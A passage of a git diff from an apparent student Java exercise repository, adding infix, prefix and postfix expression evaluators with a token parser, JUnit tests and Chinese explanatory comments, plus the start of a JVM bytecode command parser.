-//					Float num2 = Float.valueOf(numStack.pop().toString());
-//					Float num1 = Float.valueOf(numStack.pop().toString());
-//					numStack.push(num1*num2);
-//				} else if (!tokenStack.isEmpty() && ((char)tokenStack.pop()) == '/') {
-//					Float num2 = Float.valueOf(numStack.pop().toString());
-//					Float num1 = Float.valueOf(numStack.pop().toString());
-//					numStack.push(num1/num2);
-//				}
-//				tokenStack.push(expr.charAt(i));
-//			} else if (expr.charAt(i) == TypeToken.devide.token){
-//				isNem = true;
-//				tokenStack.push(expr.charAt(i));
-//			} else if (expr.charAt(i) == TypeToken.plus.token){
-//				isNem = true;
-//				tokenStack.push(expr.charAt(i));
-//			} else if (String.valueOf(expr.charAt(i)).matches("\\d{1}")){
-//				if (isNem) {
-//					numStack.push((expr.charAt(i)));
-//				} else {
-//					numStack.push(numStack.pop().toString() + (expr.charAt(i)));
-//				}
-//				isNem = false;
-//
-//			} else {
-//				throw new RuntimeException();
-//			}
-			String token = (expr.charAt(i)) + "";
-			Integer priprity = map.get(token);
 
-			if (priprity != null) {
-				//表示是运算符
-				if (!tokenStack.isEmpty() && priprity < map.get(tokenStack.peek())) {
-					Float num2 = Float.valueOf(numStack.pop().toString());
-					Float num1 = Float.valueOf(numStack.pop().toString());
-					String pop = tokenStack.pop()+"";
-					if (pop.equals("-")) {
-						numStack.push(num1 - num2);
-					} else if (pop.equals("*")){
-						numStack.push(num1 * num2);
-					} else if (pop.equals("/")){
-						numStack.push(num1 / num2);
-					} else {
-						throw new RuntimeException();
+	public float evaluate() {
+		
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		
+		
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		
+		for(Token token : tokens){
+			
+			if (token.isOperator()){
+				
+				if(opStack.isEmpty()){
+					
+					opStack.push(token);
+				} else{
+					
+					while(!opStack.isEmpty() 
+							&& !token.hasHigherPriority(opStack.peek())){
+						Token prevOperator = opStack.pop();
+						Float f2 = numStack.pop();
+						Float f1 = numStack.pop();
+						Float result = calculate(prevOperator.toString(), f1,f2);
+						numStack.push(result);						
+						
 					}
-
-				}
-				tokenStack.push(token);
-				isNem = true;
-			} else if(token.matches("\\d{1}")) {
-				//表示是数字
-				if (isNem) {
-					numStack.push(token);
-				} else {
-					numStack.push(numStack.pop().toString() + token);
+					opStack.push(token);
 				}
-				isNem = false;
-			} else {
-				throw new RuntimeException();
+			} 
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
 			}
 		}
-		while (!tokenStack.isEmpty()) {
-			System.out.println(tokenStack.size());
-			if (tokenStack.peek().equals("+")) {
-				Float num2 = Float.valueOf(numStack.pop().toString());
-				Float num1 = Float.valueOf(numStack.pop().toString());
-				numStack.push(num1+num2+"");
-			} else if (tokenStack.peek().equals("-")) {
-				Float num2 = Float.valueOf(numStack.pop().toString());
-				Float num1 = Float.valueOf(numStack.pop().toString());
-				numStack.push(num1-num2+"");
-			} else if (tokenStack.peek().equals("/")) {
-				Float num2 = Float.valueOf(numStack.pop().toString());
-				Float num1 = Float.valueOf(numStack.pop().toString());
-				numStack.push(num1/num2+"");
-			} else if (tokenStack.peek().equals("*")) {
-				Float num2 = Float.valueOf(numStack.pop().toString());
-				Float num1 = Float.valueOf(numStack.pop().toString());
-				numStack.push(num1*num2+"");
-			}  else {
-				throw new RuntimeException();
-			}
-			tokenStack.pop();
+		
+		while(!opStack.isEmpty()){
+			Token token = opStack.pop();
+			Float f2 = numStack.pop();
+			Float f1 = numStack.pop();
+			numStack.push(calculate(token.toString(), f1,f2));
 		}
-//		System.out.println(Double.valueOf(numStack.pop().toString()));
-		return Double.valueOf(numStack.pop().toString());
+		
+		
+		return numStack.pop().floatValue();
 	}
-
-	public static void main(String[] args) {
-
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
 	}
 
 	
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr2.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr2.java
new file mode 100644
index 0000000000..00302fa05c
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr2.java
@@ -0,0 +1,104 @@
+package org.xukai.coderising.stack;
+
+import java.util.HashMap;
+
+public class InfixExpr2 {
+
+	public static enum TypeToken {
+
+		add('+',0),substruct('-',1),devide('/',3),plus('*',2);
+
+		TypeToken(char token, Integer priority) {
+			this.token = token;
+			this.priority = priority;
+		}
+
+		private char token;
+
+		private Integer priority;
+	}
+
+	String expr = null;
+	
+	public InfixExpr2(String expr) {
+		this.expr = expr;
+	}
+//3*20+12*5-40/2
+	public Double evaluate() {
+		HashMap<String, Integer> map = new HashMap<>();
+		map.put("+",0);
+		map.put("-",1);
+		map.put("/",3);
+		map.put("*",2);
+
+
+		Stack tokenStack = new Stack();
+		Stack numStack = new Stack();
+		char[] chars = expr.toCharArray();
+		boolean isNem = true;
+		for (int i = 0; i < expr.length(); i++) {
+			String token = (expr.charAt(i)) + "";
+			Integer priprity = map.get(token);
+			if (priprity != null) {
+				//表示是运算符
+				if (!tokenStack.isEmpty() && priprity < map.get(tokenStack.peek())) {
+					Float num2 = Float.valueOf(numStack.pop().toString());
+					Float num1 = Float.valueOf(numStack.pop().toString());
+					String pop = tokenStack.pop()+"";
+					if (pop.equals("-")) {
+						numStack.push(num1 - num2);
+					} else if (pop.equals("*")){
+						numStack.push(num1 * num2);
+					} else if (pop.equals("/")){
+						numStack.push(num1 / num2);
+					} else {
+						throw new RuntimeException();
+					}
+
+				}
+				tokenStack.push(token);
+				isNem = true;
+			} else if(token.matches("\\d{1}")) {
+				//表示是数字
+				if (isNem) {
+					numStack.push(token);
+				} else {
+					numStack.push(numStack.pop().toString() + token);
+				}
+				isNem = false;
+			} else {
+				throw new RuntimeException();
+			}
+		}
+		while (!tokenStack.isEmpty()) {
+			System.out.println(tokenStack.size());
+			if (tokenStack.peek().equals("+")) {
+				Float num2 = Float.valueOf(numStack.pop().toString());
+				Float num1 = Float.valueOf(numStack.pop().toString());
+				numStack.push(num1+num2+"");
+			} else if (tokenStack.peek().equals("-")) {
+				Float num2 = Float.valueOf(numStack.pop().toString());
+				Float num1 = Float.valueOf(numStack.pop().toString());
+				numStack.push(num1-num2+"");
+			} else if (tokenStack.peek().equals("/")) {
+				Float num2 = Float.valueOf(numStack.pop().toString());
+				Float num1 = Float.valueOf(numStack.pop().toString());
+				numStack.push(num1/num2+"");
+			} else if (tokenStack.peek().equals("*")) {
+				Float num2 = Float.valueOf(numStack.pop().toString());
+				Float num1 = Float.valueOf(numStack.pop().toString());
+				numStack.push(num1*num2+"");
+			}  else {
+				throw new RuntimeException();
+			}
+			tokenStack.pop();
+		}
+//		System.out.println(Double.valueOf(numStack.pop().toString()));
+		return Double.valueOf(numStack.pop().toString());
+	}
+
+
+
+	
+	
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixToPostfix2.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixToPostfix2.java
new file mode 100644
index 0000000000..71a483b29f
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixToPostfix2.java
@@ -0,0 +1,87 @@
+package org.xukai.coderising.stack;
+
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * 将中缀表达式转换为后缀表达式：
+ 与转换为前缀表达式相似，遵循以下步骤：
+ (1) 初始化两个栈：运算符栈S1和储存中间结果的栈S2；
+ (2) 从左至右扫描中缀表达式；
+ (3) 遇到操作数时，将其压入S2；
+ (4) 遇到运算符时，比较其与S1栈顶运算符的优先级：
+ (4-1) 如果S1为空，或栈顶运算符为左括号“(”，则直接将此运算符入栈；
+ (4-2) 否则，若优先级比栈顶运算符的高，也将运算符压入S1（注意转换为前缀表达式时是优先级较高或相同，而这里则不包括相同的情况）；
+ (4-3) 否则，将S1栈顶的运算符弹出并压入到S2中，再次转到(4-1)与S1中新的栈顶运算符相比较；
+ (5) 遇到括号时：
+ (5-1) 如果是左括号“(”，则直接压入S1；
+ (5-2) 如果是右括号“)”，则依次弹出S1栈顶的运算符，并压入S2，直到遇到左括号为止，此时将这一对括号丢弃；
+ (6) 重复步骤(2)至(5)，直到表达式的最右边；
+ (7) 将S1中剩余的运算符依次弹出并压入S2；
+ (8) 依次弹出S2中的元素并输出，结果的逆序即为中缀表达式对应的后缀表达式（转换为前缀表达式时不用逆序）。
+
+ 例如，将中缀表达式“1+((2+3)×4)-5”转换为后缀表达式的过程如下：
+ 扫描到的元素	S2(栈底->栈顶)	S1 (栈底->栈顶)	说明
+ 1	1	空	数字，直接入栈
+ +	1	+	S1为空，运算符直接入栈
+ (	1	+ (	左括号，直接入栈
+ (	1	+ ( (	同上
+ 2	1 2	+ ( (	数字
+ +	1 2	+ ( ( +	S1栈顶为左括号，运算符直接入栈
+ 3	1 2 3	+ ( ( +	数字
+ )	1 2 3 +	+ (	右括号，弹出运算符直至遇到左括号
+ ×	1 2 3 +	+ ( ×	S1栈顶为左括号，运算符直接入栈
+ 4	1 2 3 + 4	+ ( ×	数字
+ )	1 2 3 + 4 ×	+	右括号，弹出运算符直至遇到左括号
+ -	1 2 3 + 4 × +	-	-与+优先级相同，因此弹出+，再压入-
+ 5	1 2 3 + 4 × + 5	-	数字
+ 到达最右端	1 2 3 + 4 × + 5 -	空	S1中剩余的运算符
+ 因此结果为“1 2 3 + 4 × + 5 -”（注意需要逆序输出）。
+ * @author xukai
+ * @desc
+ * @date 2017-04-22-14:10
+ */
+public class InfixToPostfix2 {
+
+
+    private static TokenParser tokenParser = new TokenParser();
+
+    public static String toPostFixExpr(String expr){
+
+        List<Token> tokens = tokenParser.parse(expr);
+
+        Stack<Token> s1 = new Stack<Token>();
+        Stack<Token> s2 = new Stack<Token>();
+
+        for (Token token : tokens) {
+            if (token.isNumber()) {
+                s2.push(token);
+            } else {
+                while (token.isOperator() && !s1.isEmpty()) {
+                    if (!token.hasHigherPriority(s1.peek())) {
+                        s2.push(s1.pop());
+                        continue;
+                    }
+                    break;
+                }
+                s1.push(token);
+            }
+        }
+        while (!s1.isEmpty()) {
+            s2.push(s1.pop());
+        }
+        StringBuilder stringBuilder = new StringBuilder();
+        while (!s2.isEmpty()) {
+            Token token = s2.pop();
+            s1.push(token);
+        }
+        while (!s1.isEmpty()) {
+            Token token = s1.pop();
+            stringBuilder.append(token.toString()).append(" ");
+        }
+
+        return stringBuilder.substring(0,stringBuilder.length() - 1);
+    }
+
+
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExpr.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExpr.java
new file mode 100644
index 0000000000..98e849c4ff
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExpr.java
@@ -0,0 +1,57 @@
+package org.xukai.coderising.stack;
+
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * 与前缀表达式类似，只是顺序是从左至右：
+ 从左至右扫描表达式，遇到数字时，将数字压入堆栈，遇到运算符时，弹出栈顶的两个数，用运算符对它们做相应的计算（次顶元素 op 栈顶元素），并将结果入栈；重复上述过程直到表达式最右端，最后运算得出的值即为表达式的结果。
+ 例如后缀表达式“3 4 + 5 × 6 -”：
+ (1) 从左至右扫描，将3和4压入堆栈；
+ (2) 遇到+运算符，因此弹出4和3（4为栈顶元素，3为次顶元素，注意与前缀表达式做比较），计算出3+4的值，得7，再将7入栈；
+ (3) 将5入栈；
+ (4) 接下来是×运算符，因此弹出5和7，计算出7×5=35，将35入栈；
+ (5) 将6入栈；
+ (6) 最后是-运算符，计算出35-6的值，即29，由此得出最终结果。
+ */
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		
+		
+		Stack<Float> numStack = new Stack<>();
+		for(Token token : tokens){
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			} else{
+				Float f2 = numStack.pop();
+				Float f1 = numStack.pop();
+				numStack.push(calculate(token.toString(),f1,f2));
+			}
+		}
+		return numStack.pop().floatValue();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExprTest.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExprTest.java
new file mode 100644
index 0000000000..178fc23836
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExprTest.java
@@ -0,0 +1,47 @@
+package org.xukai.coderising.stack;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+	@Test
+	public void testTo(){
+		String poseExpr = InfixToPostfix2.toPostFixExpr("10-2*3+50");
+		System.out.println(poseExpr);
+	}
+
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExpr.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExpr.java
new file mode 100644
index 0000000000..cab9831ec2
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExpr.java
@@ -0,0 +1,60 @@
+package org.xukai.coderising.stack;
+
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * 从右至左扫描表达式，遇到数字时，将数字压入堆栈，遇到运算符时，弹出栈顶的两个数，用运算符对它们做相应的计算（栈顶元素 op 次顶元素），并将结果入栈；重复上述过程直到表达式最左端，最后运算得出的值即为表达式的结果。
+ 例如前缀表达式“- × + 3 4 5 6”：
+ (1) 从右至左扫描，将6、5、4、3压入堆栈；
+ (2) 遇到+运算符，因此弹出3和4（3为栈顶元素，4为次顶元素，注意与后缀表达式做比较），计算出3+4的值，得7，再将7入栈；
+ (3) 接下来是×运算符，因此弹出7和5，计算出7×5=35，将35入栈；
+ (4) 最后是-运算符，计算出35-6的值，即29，由此得出最终结果。
+ 可以看出，用计算机计算前缀表达式的值是很容易的。
+ * @author xukai
+ * @desc
+ * @date 2017-04-22-13:49
+ */
+public class PrefixExpr {
+
+
+    private String expr;
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate(){
+
+        TokenParser tokenParser = new TokenParser();
+        List<Token> tokens = tokenParser.parse(expr);
+
+        Stack<Float> numStack = new Stack();
+        Stack<Float> oprStack = new Stack();
+
+        for (int i = tokens.size() - 1; i > -1; i--) {
+            if (tokens.get(i).isNumber()) {
+                numStack.push(new Float(tokens.get(i).getIntValue()));
+            } else {
+                Float num1 = numStack.pop();
+                Float num2 = numStack.pop();
+                numStack.push(caculate(tokens.get(i).toString(), num1, num2));
+            }
+        }
+
+        return numStack.pop();
+    }
+
+    private Float caculate(String oper, Float num1, Float num2){
+        if (oper.equals("+")) {
+            return num1 + num2;
+        } else if (oper.equals("-")) {
+            return num1 - num2;
+        } else if (oper.equals("/")) {
+            return num1 / num2;
+        } else if (oper.equals("*")) {
+            return num1 * num2;
+        }
+        throw new RuntimeException("illeagal operation token");
+    }
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExprTest.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExprTest.java
new file mode 100644
index 0000000000..bc0e4b53e4
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package org.xukai.coderising.stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/Token.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/Token.java
new file mode 100644
index 0000000000..e10eabb1f4
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/Token.java
@@ -0,0 +1,50 @@
+package org.xukai.coderising.stack;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/TokenParser.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/TokenParser.java
new file mode 100644
index 0000000000..03e214bf1b
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/TokenParser.java
@@ -0,0 +1,57 @@
+package org.xukai.coderising.stack;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/attr/CodeAttr.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/attr/CodeAttr.java
index d0c8ef4e32..fb08ebc8e2 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/attr/CodeAttr.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/attr/CodeAttr.java
@@ -2,6 +2,8 @@
 
 
 import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.cmd.ByteCodeCommand;
+import org.xukai.jvm.cmd.CommandParser;
 import org.xukai.jvm.loader.ByteCodeIterator;
 
 public class CodeAttr extends AttributeInfo {
@@ -16,21 +18,23 @@ public String getCode() {
 		return code;
 	}
 
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
+	private ByteCodeCommand[] cmds ;
+
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
+
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
 	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code, ByteCodeCommand[] cmds) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
-		//this.cmds = cmds;
+		this.cmds = cmds;
 	}
 
 	public void setLineNumberTable(LineNumberTable t) {
@@ -48,15 +52,14 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		int maxLocals = iter.nextToInt(2);
 		int codeLength = iter.nextToInt(4);
 		String code = iter.nextToString(codeLength);
-		System.out.println(code);
-		CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code);
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+		CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code, cmds);
 		int exceptionTableLength = iter.nextToInt(2);
 		if (exceptionTableLength > 0) {
 			iter.nextToInt(exceptionTableLength);
 			System.out.println("解析exception");
 		}
 		int subAttributeCount = iter.nextToInt(2);
-		System.out.println("subAttributeCount" + subAttributeCount);
 		if (subAttributeCount > 0) {
 			for (int i = 0; i < subAttributeCount; i++) {
 				AttributeInfo attributeInfo = AttributeInfo.parseAttribute(iter, clzFile);
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/clz/ClassFile.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/clz/ClassFile.java
index a2b2dfb515..c8777fea97 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/clz/ClassFile.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/clz/ClassFile.java
@@ -81,13 +81,41 @@ public void print(){
 		
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+
+	public Method getMethod(String methodName, String paramAndReturnType){
+
+		for(Method m :methods){
+
+			int nameIndex = m.getNameIndex();
+			int descriptionIndex = m.getDescriptorIndex();
+
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descriptionIndex);
+			if(name.equals(methodName) && desc.equals(paramAndReturnType)){
+				return m;
+			}
+		}
+		return null;
+	}
+	public Method getMainMethod(){
+		for(Method m :methods){
+			int nameIndex = m.getNameIndex();
+			int descIndex = m.getDescriptorIndex();
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descIndex);
+			if(name.equals("main")  && desc.equals("([Ljava/lang/String;)V")){
+				return m;
+			}
+		}
+		return null;
+	}
 }
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/BiPushCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..bd1eb4bf11
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,22 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.constant.ConstantPool;
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/ByteCodeCommand.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..edb68e1256
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,129 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.constant.ConstantInfo;
+import org.xukai.jvm.constant.ConstantPool;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/CommandParser.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..e44fb1e05f
--- /dev/null
